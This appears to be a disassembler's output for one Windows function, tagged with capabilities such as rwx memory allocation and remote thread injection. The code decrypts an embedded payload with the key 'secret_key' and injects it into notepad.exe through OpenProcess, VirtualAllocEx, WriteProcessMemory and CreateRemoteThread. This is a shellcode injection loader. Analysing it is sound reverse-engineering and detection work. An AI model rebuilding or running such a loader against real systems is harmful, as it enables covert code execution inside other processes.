Function at 0x1400018a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x30], 0xfffffffffffffffe
mov ecx, 0x28a
call fcn.140001eb4
mov rsi, rax
mov qword [rbp - 0x20], rax
lea rdi, [rax + 0x28a]
mov qword [rbp - 0x10], rdi
lea rdx, section..rdata
mov r8d, 0x28a
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x18], rdi
mov qword [rbp], 0
mov qword [rbp + 8], 0xa
mov qword [rbp + 0x10], 0xf
movabs rax, 0x6b5f746572636573
mov qword [rbp - 8], rax
mov word [rbp], 0x7965
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x20]
lea r8, [rbp - 8]
call fcn.140001060
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::put_char____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov qword [rbp - 0x38], 0
mov ecx, 0x20
call fcn.140001eb4
mov rdi, rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x30], 0xb
mov qword [rbp - 0x28], 0xf
movups xmm0, xmmword [str.notepad.exe]
movups xmmword [rax], xmm0
movabs rax, 0x6500780065002e
mov qword [rdi + 0xe], rax
mov word [rdi + 0x16], 0
lea rcx, [rbp - 0x40]
call fcn.140001730
mov ebx, eax
mov edx, 0x20
mov rcx, rdi
call fcn.140001ef8
mov ecx, 0x1fffff
xor edx, edx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov r8, qword [rbp + 0x20]
sub r8, qword [rbp + 0x18]
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov r8, qword [rbp + 0x18]
mov r9, qword [rbp + 0x20]
sub r9, r8
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x140001a82
mov rdx, qword [rbp + 0x28]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001a7d
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001ad8
add rdx, 0x27
mov rcx, rax
call fcn.140001ef8
mov rax, qword [rbp + 0x10]
cmp rax, 0x10
jb 0x140001abd
mov rcx, qword [rbp - 8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001ab8
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001ad8
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140001ef8
mov edx, 0x28a
mov rcx, rsi
call fcn.140001ef8
xor eax, eax
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3